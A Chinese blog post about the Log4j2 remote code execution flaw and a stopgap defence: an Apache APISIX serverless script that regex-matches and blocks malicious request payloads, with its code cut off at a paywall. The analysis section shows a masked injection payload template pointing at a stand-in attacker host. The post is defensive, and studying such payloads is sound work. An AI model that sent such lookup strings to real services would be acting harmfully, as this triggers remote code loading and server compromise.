近日网络上曝光了 Apache Log4j2 的远程代码执行漏洞。该漏洞在 Apache Log4j2 的开发团队完全修复之前提前曝光,导致在野利用,使用 Log4j2 的 2.x 至 2.14.1 的版本的项目均有被攻击风险。
漏洞利用分析
从该漏洞复现过程我们可以分析出,利用该漏洞的关键步骤是构造恶意的 payload,类似于
{xxxxx//attacker.com/a}
在官方发布完全修复版本以及当前环境升至修复版本之前,需要一种临时措施来拦截携带改恶意负载的请求,保护服务不受该漏洞的在野攻击。
Apache APISIX 应对措施
我们可以在 Apache APISIX 上过滤请求负载,用正则匹配恶意的 payload 的关键词,并对其进行拦截。
假设 payload 的关键字为 “xxxxx”,可以用 serverless 插件执行自定义拦截脚本,配置示例如下:
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"uri": "/*",
"plugins":{
"serverless-pre-function":{
"phase":"rewrite",
"functions":[
"return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err

本文介绍了如何使用 Apache APISIX 的 serverless 功能应对 Apache Log4j2 的远程代码执行漏洞。通过配置自定义拦截脚本,匹配并拦截携带恶意 payload 的请求,保护服务安全。Apache APISIX 是一个高性能的 API 网关,提供多种流量管理功能,帮助企业处理 API 和微服务流量。
最低0.47元/天 解锁文章
7537

被折叠的 条评论
为什么被折叠?



